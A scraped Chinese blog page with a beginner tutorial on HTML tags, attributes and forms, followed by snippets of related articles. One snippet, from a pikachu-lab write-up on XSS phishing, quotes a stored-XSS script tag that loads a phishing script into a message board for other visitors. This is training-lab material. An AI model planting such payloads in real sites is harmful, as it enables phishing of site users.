当前位置： 首页 > news >正文

入门四认识HTML

news 2025/11/4 4:04:10

目录

一、HTML介绍

1、Web前端三大核心技术 

2、什么是HTML 

3、Html标签

4、标签属性 

二、HTML骨架标签

三、编写HTML工具

四、常用标签 

1、注释 

2、标题标签 

3、段落标签 

4、超链接标签

5、图片标签

6、换行与空格 

7、布局标签 

8、列表标签 

9、表单标签 

五、总结 

一、HTML介绍

1、Web前端三大核心技术 

HTML：负责网页的架构

CSS：负责网页的样式、美化

JS：负责网页的行动

2、什么是HTML 

HTML是用来描述网页的一种语言。

3、Html标签

单标签<html>

双标签<h>内容</h> 

4、标签属性 

属性格式：属性名=“属性值” <a href="http://www.jd.com">京东</a> 

二、HTML骨架标签

html：根标签 ，所有的内容都应该放到html标签中

head：头部标签

body：身体标签（代码编写区域）

 

三、编写HTML工具

四、常用标签 

1、注释 

作用：描述的内容不会被浏览器执行

说明：解释代码的含义给程序员看。

国际通用快捷键：Ctrl+/  <!-- 注释区域 -->

 测试点：前端页面发布上线之前，需要检查（描述不恰当的文字出现）所有注释或去除注释。

2、标题标签 

说明：HMTL标题是 通过<h1>—<h6>等标签进行定义

示例：

 

3、段落标签 

说明：HTML段落是通过<p>标签进行定义的

 示例：

4、超链接标签

说明：超链接是通过<a>标签进行定义的，点击文本跳转指定页面

示例：​​​​​​​

属性：href：跳转地址                target：新窗口打开 

5、图片标签

说明：网页中插入图片就要使用图片标签，HTML图片是通过<img>标签进行定义的

测试点：必须有title属性（悬停和未加载显示）

示例：

属性：

        src：图片路径         title：光标悬停显示文字          alt：图片未加载时显示文字

        width：图片宽度        height：图片高度

6、换行与空格 

换行：<br/>        空格：%nbsp；

示例：

 

7、布局标签 

说明：设置页面布局，便于排版，常用（div+span）

示例：

8、列表标签 

说明：列表标签常用 li 元素（分为：有序和无序）

示例：

 style：js标签        script：js标签        link：外部加载css标签

9、表单标签 

说明：页面提交输入信息需要使用表单标签<from> 

按钮测试点：通用使用value进行赋值

属性：

        文本框：<input type="text" />

        密码框：<input type="password" />

        单选框：<input type="radio" name="1" />男    <input type="radio" name="1"/>女

        复选框：<input type="checkbox" />

        提交按钮：<input type="submit"/>

        清空按钮： <input type="reset"/>

        普通按钮：<input type="button"/>

示例：

五、总结 

相关文章：

入门四认识HTML

目录 一、HTML介绍 1、Web前端三大核心技术 2、什么是HTML 3、Html标签 4、标签属性 二、HTML骨架标签 三、编写HTML工具 四、常用标签 1、注释 2、标题标签 3、段落标签 4、超链接标签 5、图片标签 6、换行与空格 7、布局标签 8、列表标签 9、表单…...

编程日记 2024/5/28 17:51:57

js怎么生成验证码？js生成指定长度的随机字符串

在项目中经常有生成随机字符串的需求&#xff0c;比如验证接口签名、验证码(Node.js发送短信或邮箱验证码、生成图片验证码)&#xff0c;我们可以使用Javascript生成随机字符。 使用随机数从给出的可能字符中抽取合并字符串 优点是可以自定义结果中字符的取值&#xff0c;比如…...

编程日记 2024/5/28 17:50:54

Python魔法之旅-魔法方法(01)

目录 一、概述 1、定义 2、作用 二、主要应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类…...

编程日记 2024/5/28 17:49:52

介绍下 npm 模块安装机制，为什么输入 npm install 就可以自动安装对应的模块

npm&#xff08;Node Package Manager&#xff09;模块安装机制是Node.js生态系统中非常重要的一部分&#xff0c;它允许开发者轻松管理和安装Node.js项目的依赖项。下面我将详细介绍npm模块的安装机制&#xff0c;以及为什么输入npm install就可以自动安装对应的模块。 npm模…...

编程日记 2024/5/28 17:48:51

vue2如何父组件 对象 双向绑定子组件

对于Vue 2&#xff0c;你不能直接用v-model绑定对象&#xff0c;但可以通过在子组件内部处理value prop的变化并触发input事件来模拟这一行为。 父组件A 1<template> 2 <ComponentB v-model"item" prop-names"addressId,date,startTime,endTime&quo…...

编程日记 2024/5/28 17:47:50

[Android]在后台线程执行耗时操作，然后在主线程更新UI

1.Coroutines&#xff08;官方推荐&#xff09; Coroutines 提供了一种轻量级的线程管理方式&#xff0c;使得在后台线程执行任务和在主线程更新 UI 变得简单。以下是如何在 Kotlin 中使用 Coroutines 来处理耗时逻辑并更新 UI 的步骤&#xff1a; 添加 Coroutines 依赖: 首…...

编程日记 2024/5/28 17:46:49

平方回文数-第13届蓝桥杯选拔赛Python真题精选

[导读]&#xff1a;超平老师的Scratch蓝桥杯真题解读系列在推出之后&#xff0c;受到了广大老师和家长的好评&#xff0c;非常感谢各位的认可和厚爱。作为回馈&#xff0c;超平老师计划推出《Python蓝桥杯真题解析100讲》&#xff0c;这是解读系列的第73讲。 平方回文数&#…...

编程日记 2024/5/28 17:45:47

位置编码(三) 2D旋转位置编码

Rotary Position Embedding for Vision Transformer https://arxiv.org/abs/2403.13298 Transformer升级之路&#xff1a;4、二维位置的旋转式位置编码 https://kexue.fm/archives/8397 Transformer升级之路&#xff1a;17、多模态位置编码的简单思考 https://kexue.fm/archive…...

编程日记 2024/5/28 17:43:45

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…...

编程日记 2024/5/28 17:42:44

弘君资本炒股技巧：股票定向增发是什么意思？是好是坏？

股票定向增发是指已上市的公司向指定的组织或者个人投资者额外发行股份募集资金的融资方法&#xff0c;发行价格为发行前某一阶段的平均价的必定比例&#xff0c;增发的价格不得低于前二十个买卖日股票均价的80&#xff05;。 例如&#xff0c;个股定增前二十个买卖股票平均价为…...

编程日记 2024/5/28 17:41:42

vue3项目使用pinia状态管理器----通俗易懂

1、首先安装pinia yarn add pinia # 或使用npm npm install pinia 2、在项目的src目录下新建store文件夹&#xff0c;然后store目录下新建index.js / index.ts &#xff1a; 我这里是index,js import { createPinia } from "pinia"// 创建 Pinia 实例 const pinia …...

编程日记 2024/5/28 17:40:41

零基础学Java第二十五天之Lambda表达式

Lambda表达式 简介 Lambda是一个匿名函数(方法)&#xff0c; 允许把函数作为一个方法的参数 。利用Lambda表达式可以写出更简洁、更灵活的代码。作为一种更紧凑的代码风格&#xff0c;使Java的语言表达能力得到了提升。一般都是优化匿名内部类 基础语法 无参数、无返回值的抽…...

编程日记 2024/5/28 17:39:40

VSCode配置Lua5.4安装

参考&#xff1a;VSCode 配置 Lua 开发环境(清晰明了)_lua vscode-CSDN博客 1.下载 Lua Binaries Download (sourceforge.net) 2.配置环境变量 解压放到某文件夹&#xff1a; 环境变量&#xff1a; 3.VSCode安装插件 4.配置 5.测试...

编程日记 2024/5/28 17:35:36

CI/CD:持续集成/持续部署

1. 安装docker、docker-compose # 安装Docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i sdownload.docker.commirrors.aliyun.com/docker-ce /…...

编程日记 2024/5/28 17:34:35

ComfyUI工作流网站

https://openart.ai/home https://comfyworkflows.com/ https://civitai.com/...

编程日记 2024/5/28 17:33:34

【机器学习】机器学习基础概念与初步探索

❀机器学习 &#x1f4d2;1. 引言&#x1f4d2;2. 机器学习概述&#x1f4d2;3. 机器学习基础概念&#x1f389;2.1 机器学习的分类&#x1f389;2.2 数据预处理&#x1f308;数据清洗与整合&#x1f308; 特征选择和特征工程&#x1f308;数据标准化与归一化 &#x1f4d2;4. …...

编程日记 2024/5/28 17:32:33

学英语材料：单口喜剧、讲故事、短剧喜剧以及广播剧和播客节目

学习英语节目 有名的单口喜剧、讲故事、短剧喜剧以及广播剧和播客节目&#xff1a; 单口喜剧&#xff08;Stand-up Comedy&#xff09; 描述&#xff1a;这是最接近相声的形式&#xff0c;表演者独自一人站在舞台上&#xff0c;用幽默的方式讲述个人经历、观察到的社会现象或…...

编程日记 2024/5/28 17:31:32

Docker Compose使用

Docker-Compose是什么 docker建议我们每一个容器中只运行一个服务,因为doker容器本身占用资源极少&#xff0c;所以最好是将每个服务单独分割开来&#xff0c;但是这样我们又面临了一个问题&#xff1a; 如果我需要同时部署好多个服务&#xff0c;难道要每个服务单独写Docker…...

编程日记 2024/5/28 17:28:28

如何优雅的卸载linux上的todesk

要优雅地卸载Linux上的ToDesk&#xff0c;您可以按照以下步骤操作&#xff1a; 打开终端。 输入以下命令来停止ToDesk服务&#xff08;如果它正在运行的话&#xff09;&#xff1a; sudo systemctl stop todesk 然后&#xff0c;使用包管理器卸载ToDesk。如果您使用的是apt&…...

编程日记 2024/5/28 17:26:27

【Vue】el-checkbox多选框实现单选效果，选中一个选项则自动取消其他勾选

&#x1f935; 作者&#xff1a;coderYYY &#x1f9d1; 个人简介&#xff1a;前端程序媛&#xff0c;目前主攻web前端&#xff0c;后端辅助&#xff0c;其他技术知识也会偶尔分享&#x1f340;欢迎和我一起交流&#xff01;&#x1f680;&#xff08;评论和私信一般会回&#…...

编程日记 2024/5/28 17:25:26

UE5 学习系列（二）用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇&#xff0c;在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下&#xff1a; 【Note】&#xff1a;如果你已经完成安装等操作&#xff0c;可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作&#xff0c;重…...

编程新知 2025/11/3 20:10:56

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

编程新知 2025/11/3 20:05:26

调用支付宝接口响应40004 SYSTEM_ERROR问题排查

在对接支付宝API的时候&#xff0c;遇到了一些问题&#xff0c;记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...

编程新知 2025/10/17 20:43:55

ubuntu搭建nfs服务centos挂载访问

在Ubuntu上设置NFS服务器 在Ubuntu上&#xff0c;你可以使用apt包管理器来安装NFS服务器。打开终端并运行&#xff1a; sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享&#xff0c;例如/shared&#xff1a; sudo mkdir /shared sud…...

编程新知 2025/8/27 13:05:41

边缘计算医疗风险自查APP开发方案

核心目标：在便携设备（智能手表/家用检测仪）部署轻量化疾病预测模型，实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...

编程新知 2025/10/31 20:24:01

IGP（Interior Gateway Protocol，内部网关协议）

IGP&#xff08;Interior Gateway Protocol&#xff0c;内部网关协议&#xff09; 是一种用于在一个自治系统&#xff08;AS&#xff09;内部传递路由信息的路由协议&#xff0c;主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...

编程新知 2025/10/12 11:54:26

JVM垃圾回收机制全解析

Java虚拟机&#xff08;JVM&#xff09;中的垃圾收集器&#xff08;Garbage Collector&#xff0c;简称GC&#xff09;是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象&#xff0c;从而释放内存空间&#xff0c;避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...

编程新知 2025/9/11 12:54:42

在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module

1、为什么要修改 CONNECT 报文&#xff1f; 多租户隔离&#xff1a;自动为接入设备追加租户前缀&#xff0c;后端按 ClientID 拆分队列。零代码鉴权&#xff1a;将入站用户名替换为 OAuth Access-Token&#xff0c;后端 Broker 统一校验。灰度发布&#xff1a;根据 IP/地理位写…...

编程新知 2025/8/1 10:20:23

TRS收益互换：跨境资本流动的金融创新工具与系统化解决方案

一、TRS收益互换的本质与业务逻辑 &#xff08;一&#xff09;概念解析 TRS&#xff08;Total Return Swap&#xff09;收益互换是一种金融衍生工具&#xff0c;指交易双方约定在未来一定期限内&#xff0c;基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...

编程新知 2025/11/2 0:31:23

【决胜公务员考试】求职OMG——见面课测验1

2025最新版&#xff01;&#xff01;&#xff01;6.8截至答题&#xff0c;大家注意呀&#xff01; 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:&#xff08; B &#xff09; A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

编程新知 2025/10/28 0:36:19